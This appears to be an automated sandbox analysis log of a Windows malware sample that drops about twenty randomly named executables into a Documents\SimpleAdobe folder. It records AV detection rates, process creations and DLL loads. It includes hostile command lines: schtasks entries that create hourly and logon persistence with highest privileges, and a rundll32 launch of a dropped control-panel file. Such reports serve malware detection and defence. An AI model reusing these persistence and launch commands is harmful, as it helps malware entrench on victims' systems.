Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2491042221.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2522155505.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2491042221.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2522155505.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	ReversingLabs: Detection: 15%
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Virustotal: Detection: 37%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe	Process created: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Process created: C:\Users\user\AppData\Local\Temp\katDE8F.tmp C:\Users\user\AppData\Local\Temp\katDE8F.tmp
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5324 -ip 5324
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",
Source: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe	Process created: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp "C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp" /SL5="$2043A,5279044,54272,C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe"
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 728
Source: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe .\Install.exe
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe .\Install.exe /TXxadidc "525403" /S
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process created: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe	Process created: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp "C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp" /SL5="$2043A,5279044,54272,C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Process created: C:\Users\user\AppData\Local\Temp\katDE8F.tmp C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe .\Install.exe
Source: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe	Process created: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5324 -ip 5324
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 728
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe .\Install.exe /TXxadidc "525403" /S
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: gpedit.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: dssec.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: dsuiext.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: authz.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: ncryptsslp.dll	Jump to behavior
